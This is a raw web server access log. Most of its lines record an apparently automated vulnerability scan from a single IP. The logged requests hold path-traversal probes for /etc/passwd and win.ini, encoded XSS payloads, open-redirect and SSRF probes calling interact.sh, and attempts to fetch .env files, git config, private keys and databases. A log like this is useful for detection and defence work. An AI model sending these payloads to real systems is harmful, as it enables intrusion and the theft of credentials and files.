[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cpqlogin.htm HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /base64/PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+ HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gpc.json HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redirect-to?url=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927551318 HTTP/1.1" -
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /httpd.conf HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index/login.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose.override.yml HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cas/js/lib/buttons/sTmh3.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /umweb/../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /umweb/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.jar HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/dompdf/dompdf/www/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib///....//....//....//....//....//....//....//....//etc//passwd HTTP/1.1" 199
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /R9iPortal/380DIbdu5LdUOZ7rhgmdSjTagwO.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //___graphql HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /imc/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hue/accounts/login?next=/ HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/deviceinfo HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Gruntfile.coffee HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fileDownload?action=downloadBackupFile HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgi HTTP/1.1" 199
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/ HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fileDownload?action=downloadBackupFile HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae/%c0%ae/WEB-INF/web.xml HTTP/1.1" 199
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /decisioncenter/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi2/status.php HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /teamserver/faces/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /res/login.jsf HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/config.properties HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DecisionRunner/ HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/database/production.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /teamserver/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.live HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/5 HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pimcore/app/config/pimcore/google-api-private-key.json HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /good_job/jobs HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DecisionService/ HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIShy7iO4Y2LsQOrbod3oCRl.txt HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/main.yml HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /haproxy?stats HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /res/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hmc/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /./../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/portal/client/welcome/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziHd3DQgMNnM3N_M1DjA08PX0NgoNcnQwt3Ez1wwkpiAJKG-AAjgb6BbmhigBypoQ7/dz/d5/L2dBISEvZ0FBIS9nQSEh/?uri=nm:oid:Z6_00000000000000A0BR2B300GG2 HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ioffice/prg/set/wss/ioAssistance.asmx HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hybris/hmc/hybris HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /maximo/webclient/login/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ibmmq/console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ibmmq/console/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.golangci.json HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openadmin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/ HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /android/app/google-services.json HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /0/Authenticate HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /imp/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iojs/%2e/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/logs/errors.log HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /artemis/actuator/env HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Account/Login HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /decisioncenter/login HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.json?FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.development.local HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server_version.xsl HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/system.log HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/manage/login?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///interact.sh/%2F.. HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sm/ess.do HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webmail/basic/ HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iclock/accounts/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hp/device/this.LCDispatcher HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authentication/login HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/ HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/portal HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/api-browser HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927553975 HTTP/1.1" -
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.deployment HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/login.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/deployment.xml HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.idea/httpRequests/http-requests-log.http HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /css../.git/config HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //server.ini HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /example.htaccess HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/2word?url=qlqya HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2&event3=download&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xmldata?item=all HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=syadn.txt HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /data/login HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wizard/base.php HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //indexx.html HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /380DIYBPpqYYkk77JT9f32BkKKQ.json HTTP/1.1" 220
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sysShell HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/getagent.cgi?type=s&xxxx HTTP/1.1" 199
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?mnu=login HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /interlib/report/ShowImage?localPath=etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fileDownload?action=downloadBackupFile HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //altair HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cp/Shares?user&protocol=webaccess&v=2.3 HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml HTTP/1.1" 199
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/admin/admin/login/index/ HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ioncube/loader-wizard.php HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/issuu-panel/menu/documento/requests/ajax-docs.php?abspath=%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.0" 3426
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sess-bin/login_handler.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /writable/db.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/UI.php HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cap.js HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /client HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env_1 HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default.htm HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/5 HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setupAssistant.html HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sess-bin/login_session.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wps/portal/!ut/p/z1/04_Sj9CPykssy0xPLMnMz0vMAfIjo8ziHd3DQgMNnM3N_M1DjA08PX0NgoNcnQwt3Ez1wwkpiAJKG-AAjgb6BbmhigBypoQ7/dz/d5/L2dBISEvZ0FBIS9nQSEh/?uri=nm:oid:Z6_00000000000000A0BR2B300GG2 HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /monitoring HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jasperserver/login.html?error=1 HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/main.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /home.html HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ibmmq/console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.old HTTP/1.1" 196
[09/Jan/2026:10:54:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbossws/services HTTP/1.1" 196
